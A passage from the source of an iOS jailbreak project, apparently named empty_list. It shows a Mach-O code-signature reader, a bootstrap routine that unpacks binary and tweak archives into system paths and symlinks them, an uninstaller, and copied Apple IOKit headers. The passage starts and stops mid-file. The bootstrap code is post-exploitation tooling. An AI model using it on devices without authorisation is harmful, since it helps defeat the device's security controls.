| arch = load_bytes(fd, arch_off, arch_size); 112 | } 113 | 114 | if (!foundarm64) { // by the end of the day there's no arm64 found 115 | printf("[-] No arm64? RIP\n"); 116 | fclose(fd); 117 | return NULL; 118 | } 119 | } 120 | else { 121 | printf("[-] %s is not a macho! (or has foreign endianness?) (magic: %x)\n", name, magic); 122 | fclose(fd); 123 | return NULL; 124 | } 125 | 126 | for (int i = 0; i < ncmds; i++) { 127 | struct load_command cmd; 128 | fseek(fd, off, SEEK_SET); 129 | fread(&cmd, sizeof(struct load_command), 1, fd); 130 | if (cmd.cmd == LC_CODE_SIGNATURE) { 131 | uint32_t off_cs; 132 | fread(&off_cs, sizeof(uint32_t), 1, fd); 133 | uint32_t size_cs; 134 | fread(&size_cs, sizeof(uint32_t), 1, fd); 135 | 136 | uint8_t *cd = malloc(size_cs); 137 | fseek(fd, off_cs + file_off, SEEK_SET); 138 | fread(cd, size_cs, 1, fd); 139 | fclose(fd); 140 | return cd; 141 | } else { 142 | off += cmd.cmdsize; 143 | } 144 | } 145 | fclose(fd); 146 | return NULL; 147 | } 148 | 149 | //from xerub 150 | int strtail(const char *str, const char *tail) 151 | { 152 | size_t lstr = strlen(str); 153 | size_t ltail = strlen(tail); 154 | if (ltail > lstr) { 155 | return -1; 156 | } 157 | str += lstr - ltail; 158 | return memcmp(str, tail, ltail); 159 | } 160 | 161 | -------------------------------------------------------------------------------- /empty_list/jelbrek/bootstrap.h: -------------------------------------------------------------------------------- 1 | void createSymlinks(void); 2 | void uninstall(void); 3 | int bootstrap(void); 4 | 5 | -------------------------------------------------------------------------------- /empty_list/jelbrek/bootstrap.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #include "jelbrek.h" 12 | #include "shell.h" 13 | #include "libjb.h" 14 | 15 | int bootstrap() { 16 | NSLog(@"Installing bootstrap..."); 17 | 18 | chdir("/var/containers/Bundle/"); 19 | 20 | FILE *bootstrap = fopen((char*)[[[[NSBundle mainBundle] bundlePath] stringByAppendingString:@"/iosbinpack.tar"] UTF8String], "r"); 21 | untar(bootstrap, "/var/containers/Bundle/"); 22 | fclose(bootstrap); 23 | 24 | FILE *tweaks = fopen((char*)[[[[NSBundle mainBundle] bundlePath] stringByAppendingString:@"/tweaksupport.tar"] UTF8String], "r"); 25 | untar(tweaks, "/var/containers/Bundle/"); 26 | fclose(tweaks); 27 | 28 | if (![[NSFileManager defaultManager] fileExistsAtPath:@"/var/containers/Bundle/tweaksupport"] || ![[NSFileManager defaultManager] fileExistsAtPath:@"/var/containers/Bundle/iosbinpack64"]) return -1; 29 | return 0; 30 | } 31 | 32 | void createSymlinks() { 33 | NSLog(@"Symlinking stuff..."); 34 | NSString *LIB = @"/var/containers/Bundle/tweaksupport/Library"; 35 | NSString *ulib = @"/var/containers/Bundle/tweaksupport/usr/lib"; 36 | NSString *bin = @"/var/containers/Bundle/tweaksupport/bin"; 37 | NSString *sbin = @"/var/containers/Bundle/tweaksupport/sbin"; 38 | 39 | symlink((char*)[LIB UTF8String], "/var/LIB"); 40 | symlink((char*)[ulib UTF8String], "/var/ulb"); 41 | symlink((char*)[bin UTF8String], "/var/bin"); 42 | symlink((char*)[sbin UTF8String], "/var/sbin"); 43 | } 44 | 45 | 46 | void uninstall() { 47 | NSLog(@"Uninstalling..."); 48 | 49 | NSFileManager *fm = [NSFileManager defaultManager]; 50 | [fm removeItemAtPath:@"/var/LIB" error:nil]; 51 | [fm removeItemAtPath:@"/var/ulb" error:nil]; 52 | [fm removeItemAtPath:@"/var/bin" error:nil]; 53 | [fm removeItemAtPath:@"/var/sbin" error:nil]; 54 | [fm removeItemAtPath:@"/var/profile" error:nil]; 55 | [fm removeItemAtPath:@"/var/motd" error:nil]; 56 | [fm removeItemAtPath:@"/var/dropbear" error:nil]; 57 | [fm removeItemAtPath:@"/var/containers/Bundle/tweaksupport" error:nil]; 58 | [fm removeItemAtPath:@"/var/containers/Bundle/iosbinpack64" error:nil]; 59 | [fm removeItemAtPath:@"/var/containers/Bundle/dylibs" error:nil]; 60 | [fm removeItemAtPath:@"/var/log/testbin.log" error:nil]; 61 | [fm removeItemAtPath:@"/var/log/jailbreakd-stdout.log" error:nil]; 62 | [fm removeItemAtPath:@"/var/log/jailbreakd-stderr.log" error:nil]; 63 | } 64 | 65 | -------------------------------------------------------------------------------- /empty_list/jelbrek/include/IOKit/IOKitKeys.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | /* 29 | * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. 30 | * 31 | * Common symbol definitions for IOKit. 32 | * 33 | * HISTORY 34 | * 35 | */ 36 | 37 | 38 | #ifndef _IOKIT_IOKITKEYS_H 39 | #define _IOKIT_IOKITKEYS_H 40 | 41 | // properties found in the registry root 42 | #define kIOKitBuildVersionKey "IOKitBuildVersion" 43 | #define kIOKitDiagnosticsKey "IOKitDiagnostics" 44 | // a dictionary keyed by plane name 45 | #define kIORegistryPlanesKey "IORegistryPlanes" 46 | #define kIOCatalogueKey "IOCatalogue" 47 | 48 | // registry plane names 49 | #define kIOServicePlane "IOService" 50 | #define kIOPowerPlane "IOPower" 51 | #define kIODeviceTreePlane "IODeviceTree" 52 | #define kIOAudioPlane "IOAudio" 53 | #define kIOFireWirePlane "IOFireWire" 54 | #define kIOUSBPlane "IOUSB" 55 | 56 | // registry ID number 57 | #define kIORegistryEntryIDKey "IORegistryEntryID" 58 | 59 | // IOService class name 60 | #define kIOServiceClass "IOService" 61 | 62 | // IOResources class name 63 | #define kIOResourcesClass "IOResources" 64 | 65 | // IOService driver probing property names 66 | #define kIOClassKey "IOClass" 67 | #define kIOProbeScoreKey "IOProbeScore" 68 | #define kIOKitDebugKey "IOKitDebug" 69 | 70 | // IOService matching property names 71 | #define kIOProviderClassKey "IOProviderClass" 72 | #define kIONameMatchKey "IONameMatch" 73 | #define kIOPropertyMatchKey "IOPropertyMatch" 74 | #define kIOPathMatchKey "IOPathMatch" 75 | #define kIOLocationMatchKey "IOLocationMatch" 76 | #define kIOParentMatchKey "IOParentMatch" 77 | #define kIOResourceMatchKey "IOResourceMatch" 78 | #define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch" 79 | 80 | #define kIONameMatchedKey "IONameMatched" 81 | 82 | #define kIOMatchCategoryKey "IOMatchCategory" 83 | #define kIODefaultMatchCategoryKey "IODefaultMatchCategory" 84 | 85 | // IOService default user client class, for loadable user clients 86 | #define kIOUserClientClassKey "IOUserClientClass" 87 | 88 | // key to find IOMappers 89 | #define kIOMapperIDKey "IOMapperID" 90 | 91 | #define kIOUserClientCrossEndianKey "IOUserClientCrossEndian" 92 | #define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible" 93 | #define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance" 94 | // diagnostic string describing the creating task 95 | #define kIOUserClientCreatorKey "IOUserClientCreator" 96 | 97 | // IOService notification types 98 | #define kIOPublishNotification "IOServicePublish" 99 | #define kIOFirstPublishNotification "IOServiceFirstPublish" 100 | #define kIOMatchedNotification "IOServiceMatched" 101 | #define kIOFirstMatchNotification "IOServiceFirstMatch" 102 | #define kIOTerminatedNotification "IOServiceTerminate" 103 | 104 | // IOService interest notification types 105 | #define kIOGeneralInterest "IOGeneralInterest" 106 | #define kIOBusyInterest "IOBusyInterest" 107 | #define kIOAppPowerStateInterest "IOAppPowerStateInterest" 108 | #define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest" 109 | 110 | #define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage" 111 | 112 | // IOService interest notification types 113 | #define kIOCFPlugInTypesKey "IOCFPlugInTypes" 114 | 115 | // properties found in services that implement command pooling 116 | #define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber) 117 | 118 | // properties found in services that have transfer constraints 119 | #define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber) 120 | #define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber) 121 | #define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber) 122 | #define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber) 123 | #define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber) 124 | #define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber) 125 | #define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber) 126 | #define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber) 127 | #define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber) 128 | #define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber) 129 | 130 | // properties found in services that wish to describe an icon 131 | // 132 | // IOIcon = 133 | // { 134 | // CFBundleIdentifier = "com.example.driver.example"; 135 | // IOBundleResourceFile = "example.icns"; 136 | // }; 137 | // 138 | // where IOBundleResourceFile is the filename of the resource 139 | 140 | #define kIOIconKey "IOIcon" // (OSDictionary) 141 | #define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString) 142 | 143 | #define kIOBusBadgeKey "IOBusBadge" // (OSDictionary) 144 | #define kIODeviceIconKey "IODeviceIcon" // (OSDictionary) 145 | 146 | // property of root that describes the machine's serial number as a string 147 | #define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString) 148 | 149 | // property of root that describes the machine's UUID as a string 150 | #define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString) 151 | 152 | // IODTNVRAM property keys 153 | #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" 154 | #define kIODTNVRAMPanicInfoKey "aapl,panic-info" 155 | 156 | // keys for complex boot information 157 | #define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts 158 | #define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString 159 | #define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes 160 | 161 | // keys for OS Version information 162 | #define kOSBuildVersionKey "OS Build Version" 163 | 164 | #endif /* ! _IOKIT_IOKITKEYS_H */ 165 | -------------------------------------------------------------------------------- /empty_list/jelbrek/include/IOKit/IOReturn.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | /* 29 | * HISTORY 30 | */ 31 | 32 | /* 33 | * Core IOReturn values. Others may be family defined. 34 | */ 35 | 36 | #ifndef __IOKIT_IORETURN_H 37 | #define __IOKIT_IORETURN_H 38 | 39 | #ifdef __cplusplus 40 | extern "C" { 41 | #endif 42 | 43 | #include 44 | 45 | typedef kern_return_t IOReturn; 46 | 47 | #ifndef sys_iokit 48 | #define sys_iokit err_system(0x38) 49 | #endif /* sys_iokit */ 50 | #define sub_iokit_common err_sub(0) 51 | #define sub_iokit_usb err_sub(1) 52 | #define sub_iokit_firewire err_sub(2) 53 | #define sub_iokit_block_storage err_sub(4) 54 | #define sub_iokit_graphics err_sub(5) 55 | #define sub_iokit_networking err_sub(6) 56 | #define sub_iokit_bluetooth err_sub(8) 57 | #define sub_iokit_pmu err_sub(9) 58 | #define sub_iokit_acpi err_sub(10) 59 | #define sub_iokit_smbus err_sub(11) 60 | #define sub_iokit_ahci err_sub(12) 61 | #define sub_iokit_powermanagement err_sub(13) 62 | //#define sub_iokit_hidsystem err_sub(14) 63 | #define sub_iokit_scsi err_sub(16) 64 | //#define sub_iokit_pccard err_sub(21) 65 | 66 | #define sub_iokit_vendor_specific err_sub(-2) 67 | #define sub_iokit_reserved err_sub(-1) 68 | 69 | #define iokit_common_err(return) (sys_iokit|sub_iokit_common|return) 70 | #define iokit_family_err(sub,return) (sys_iokit|sub|return) 71 | #define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return) 72 | 73 | #define kIOReturnSuccess KERN_SUCCESS // OK 74 | #define kIOReturnError iokit_common_err(0x2bc) // general error 75 | #define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory 76 | #define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage 77 | #define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC 78 | #define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device 79 | #define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation 80 | #define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument 81 | #define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked 82 | #define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked 83 | #define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and 84 | // device already open 85 | #define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages 86 | // had different msg_id 87 | #define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function 88 | #define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure 89 | #define kIOReturnInternalError iokit_common_err(0x2c9) // internal error 90 | #define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error 91 | //#define kIOReturn???Error iokit_common_err(0x2cb) // ??? 92 | #define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock 93 | #define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open 94 | #define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported 95 | #define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported 96 | #define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error 97 | #define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error 98 | #define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open 99 | #define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure 100 | #define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure 101 | #define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy 102 | #define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout 103 | #define kIOReturnOffline iokit_common_err(0x2d7) // device offline 104 | #define kIOReturnNotReady iokit_common_err(0x2d8) // not ready 105 | #define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached 106 | #define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left 107 | #define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data 108 | //#define kIOReturn???Error iokit_common_err(0x2dc) // ??? 109 | #define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists 110 | #define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down 111 | // physical memory 112 | #define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached 113 | #define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued 114 | #define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received 115 | // on interrupt port 116 | #define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted 117 | #define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device 118 | #define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present 119 | #define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted 120 | #define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode 121 | #define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun 122 | #define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun 123 | #define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly! 124 | #define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required 125 | #define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted 126 | #define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded 127 | #define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding 128 | #define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past! 129 | #define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future 130 | #define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found 131 | #define kIOReturnInvalid iokit_common_err(0x1) // should never be seen 132 | 133 | #ifdef __cplusplus 134 | } 135 | #endif 136 | 137 | #endif /* ! __IOKIT_IORETURN_H */ 138 | -------------------------------------------------------------------------------- /empty_list/jelbrek/include/IOKit/IOTypes.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1998-2006 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | #ifndef __IOKIT_IOTYPES_H 29 | #define __IOKIT_IOTYPES_H 30 | 31 | #ifndef IOKIT 32 | #define IOKIT 1 33 | #endif /* !IOKIT */ 34 | 35 | #if KERNEL 36 | #include 37 | #else 38 | #include 39 | #include 40 | #endif 41 | 42 | #include "IOReturn.h" 43 | 44 | #ifdef __cplusplus 45 | extern "C" { 46 | #endif 47 | 48 | #ifndef NULL 49 | #if defined (__cplusplus) 50 | #define NULL 0 51 | #else 52 | #define NULL ((void *)0) 53 | #endif 54 | #endif 55 | 56 | /* 57 | * Simple data types. 58 | */ 59 | #ifndef __MACTYPES__ /* CF MacTypes.h */ 60 | #ifndef __TYPES__ /* guess... Mac Types.h */ 61 | 62 | #include 63 | #include 64 | 65 | #endif /* __TYPES__ */ 66 | #endif /* __MACTYPES__ */ 67 | 68 | #if KERNEL 69 | #include 70 | #endif 71 | 72 | typedef UInt32 IOOptionBits; 73 | typedef SInt32 IOFixed; 74 | typedef UInt32 IOVersion; 75 | typedef UInt32 IOItemCount; 76 | typedef UInt32 IOCacheMode; 77 | 78 | typedef UInt32 IOByteCount32; 79 | typedef UInt64 IOByteCount64; 80 | 81 | typedef UInt32 IOPhysicalAddress32; 82 | typedef UInt64 IOPhysicalAddress64; 83 | typedef UInt32 IOPhysicalLength32; 84 | typedef UInt64 IOPhysicalLength64; 85 | 86 | #ifdef __LP64__ 87 | typedef mach_vm_address_t IOVirtualAddress; 88 | #else 89 | typedef vm_address_t IOVirtualAddress; 90 | #endif 91 | 92 | #if defined(__LP64__) && defined(KERNEL) 93 | typedef IOByteCount64 IOByteCount; 94 | #else 95 | typedef IOByteCount32 IOByteCount; 96 | #endif 97 | 98 | typedef IOVirtualAddress IOLogicalAddress; 99 | 100 | #if defined(__LP64__) && defined(KERNEL) 101 | 102 | typedef IOPhysicalAddress64 IOPhysicalAddress; 103 | typedef IOPhysicalLength64 IOPhysicalLength; 104 | #define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32)) 105 | #define IOPhysSize 64 106 | 107 | #else 108 | 109 | typedef IOPhysicalAddress32 IOPhysicalAddress; 110 | typedef IOPhysicalLength32 IOPhysicalLength; 111 | #define IOPhysical32( hi, lo ) (lo) 112 | #define IOPhysSize 32 113 | 114 | #endif 115 | 116 | 117 | typedef struct 118 | { 119 | IOPhysicalAddress address; 120 | IOByteCount length; 121 | } IOPhysicalRange; 122 | 123 | typedef struct 124 | { 125 | IOVirtualAddress address; 126 | IOByteCount length; 127 | } IOVirtualRange; 128 | 129 | #ifdef __LP64__ 130 | typedef IOVirtualRange IOAddressRange; 131 | #else /* !__LP64__ */ 132 | typedef struct 133 | { 134 | mach_vm_address_t address; 135 | mach_vm_size_t length; 136 | } IOAddressRange; 137 | #endif /* !__LP64__ */ 138 | 139 | /* 140 | * Map between #defined or enum'd constants and text description. 141 | */ 142 | typedef struct { 143 | int value; 144 | const char *name; 145 | } IONamedValue; 146 | 147 | 148 | /* 149 | * Memory alignment -- specified as a power of two. 150 | */ 151 | typedef unsigned int IOAlignment; 152 | 153 | #define IO_NULL_VM_TASK ((vm_task_t)0) 154 | 155 | 156 | /* 157 | * Pull in machine specific stuff. 158 | */ 159 | 160 | //#include 161 | 162 | #ifndef MACH_KERNEL 163 | 164 | #ifndef __IOKIT_PORTS_DEFINED__ 165 | #define __IOKIT_PORTS_DEFINED__ 166 | #ifdef KERNEL 167 | typedef struct OSObject * io_object_t; 168 | #else /* KERNEL */ 169 | typedef mach_port_t io_object_t; 170 | #endif /* KERNEL */ 171 | #endif /* __IOKIT_PORTS_DEFINED__ */ 172 | 173 | #include 174 | 175 | typedef io_object_t io_connect_t; 176 | typedef io_object_t io_enumerator_t; 177 | typedef io_object_t io_iterator_t; 178 | typedef io_object_t io_registry_entry_t; 179 | typedef io_object_t io_service_t; 180 | 181 | #define IO_OBJECT_NULL ((io_object_t) 0) 182 | 183 | #endif /* MACH_KERNEL */ 184 | 185 | // IOConnectMapMemory memoryTypes 186 | enum { 187 | kIODefaultMemoryType = 0 188 | }; 189 | 190 | enum { 191 | kIODefaultCache = 0, 192 | kIOInhibitCache = 1, 193 | kIOWriteThruCache = 2, 194 | kIOCopybackCache = 3, 195 | kIOWriteCombineCache = 4 196 | }; 197 | 198 | // IOMemory mapping options 199 | enum { 200 | kIOMapAnywhere = 0x00000001, 201 | 202 | kIOMapCacheMask = 0x00000700, 203 | kIOMapCacheShift = 8, 204 | kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift, 205 | kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift, 206 | kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift, 207 | kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift, 208 | kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift, 209 | 210 | kIOMapUserOptionsMask = 0x00000fff, 211 | 212 | kIOMapReadOnly = 0x00001000, 213 | 214 | kIOMapStatic = 0x01000000, 215 | kIOMapReference = 0x02000000, 216 | kIOMapUnique = 0x04000000 217 | #ifdef XNU_KERNEL_PRIVATE 218 | , kIOMap64Bit = 0x08000000 219 | #endif 220 | }; 221 | 222 | /*! @enum Scale Factors 223 | @discussion Used when a scale_factor parameter is required to define a unit of time. 224 | @constant kNanosecondScale Scale factor for nanosecond based times. 225 | @constant kMicrosecondScale Scale factor for microsecond based times. 226 | @constant kMillisecondScale Scale factor for millisecond based times. 227 | @constant kTickScale Scale factor for the standard (100Hz) tick. 228 | @constant kSecondScale Scale factor for second based times. */ 229 | 230 | enum { 231 | kNanosecondScale = 1, 232 | kMicrosecondScale = 1000, 233 | kMillisecondScale = 1000 * 1000, 234 | kSecondScale = 1000 * 1000 * 1000, 235 | kTickScale = (kSecondScale / 100) 236 | }; 237 | 238 | /* compatibility types */ 239 | 240 | #ifndef KERNEL 241 | 242 | typedef unsigned int IODeviceNumber; 243 | 244 | #endif 245 | 246 | #ifdef __cplusplus 247 | } 248 | #endif 249 | 250 | #endif /* ! __IOKIT_IOTYPES_H */ 251 | -------------------------------------------------------------------------------- /empty_list/jelbrek/include/IOKit/OSMessageNotification.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. Please obtain a copy of the License at 10 | * http://www.opensource.apple.com/apsl/ and read it before using this 11 | * file. 12 | * 13 | * The Original Code and all software distributed under the License are 14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 18 | * Please see the License for the specific language governing rights and 19 | * limitations under the License. 20 | * 21 | * @APPLE_LICENSE_HEADER_END@ 22 | */ 23 | /* 24 | * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. 25 | * 26 | * HISTORY 27 | * 28 | */ 29 | 30 | #ifndef __OS_OSMESSAGENOTIFICATION_H 31 | #define __OS_OSMESSAGENOTIFICATION_H 32 | 33 | #ifdef __cplusplus 34 | extern "C" { 35 | #endif 36 | 37 | #include 38 | #include "IOReturn.h" 39 | 40 | enum { 41 | kFirstIOKitNotificationType = 100, 42 | kIOServicePublishNotificationType = 100, 43 | kIOServiceMatchedNotificationType = 101, 44 | kIOServiceTerminatedNotificationType = 102, 45 | kIOAsyncCompletionNotificationType = 150, 46 | kIOServiceMessageNotificationType = 160, 47 | kLastIOKitNotificationType = 199 48 | }; 49 | 50 | enum { 51 | kOSNotificationMessageID = 53, 52 | kOSAsyncCompleteMessageID = 57, 53 | kMaxAsyncArgs = 16 54 | }; 55 | 56 | enum { 57 | kIOAsyncReservedIndex = 0, 58 | kIOAsyncReservedCount, 59 | 60 | kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount, 61 | kIOAsyncCalloutRefconIndex, 62 | kIOAsyncCalloutCount, 63 | 64 | kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount, 65 | kIOMatchingCalloutRefconIndex, 66 | kIOMatchingCalloutCount, 67 | 68 | kIOInterestCalloutFuncIndex = kIOAsyncReservedCount, 69 | kIOInterestCalloutRefconIndex, 70 | kIOInterestCalloutServiceIndex, 71 | kIOInterestCalloutCount 72 | }; 73 | 74 | enum { 75 | kOSAsyncRefCount = 8, 76 | kOSAsyncRefSize = 32 77 | }; 78 | typedef natural_t OSAsyncReference[kOSAsyncRefCount]; 79 | 80 | struct OSNotificationHeader { 81 | vm_size_t size; /* content size */ 82 | natural_t type; 83 | OSAsyncReference reference; 84 | 85 | #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) 86 | unsigned char content[]; 87 | #else 88 | unsigned char content[0]; 89 | #endif 90 | }; 91 | 92 | struct IOServiceInterestContent { 93 | natural_t messageType; 94 | void * messageArgument[1]; 95 | }; 96 | 97 | struct IOAsyncCompletionContent { 98 | IOReturn result; 99 | #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) 100 | void * args[]; 101 | #else 102 | void * args[0]; 103 | #endif 104 | }; 105 | 106 | #ifndef __cplusplus 107 | typedef struct OSNotificationHeader OSNotificationHeader; 108 | typedef struct IOServiceInterestContent IOServiceInterestContent; 109 | typedef struct IOAsyncCompletionContent 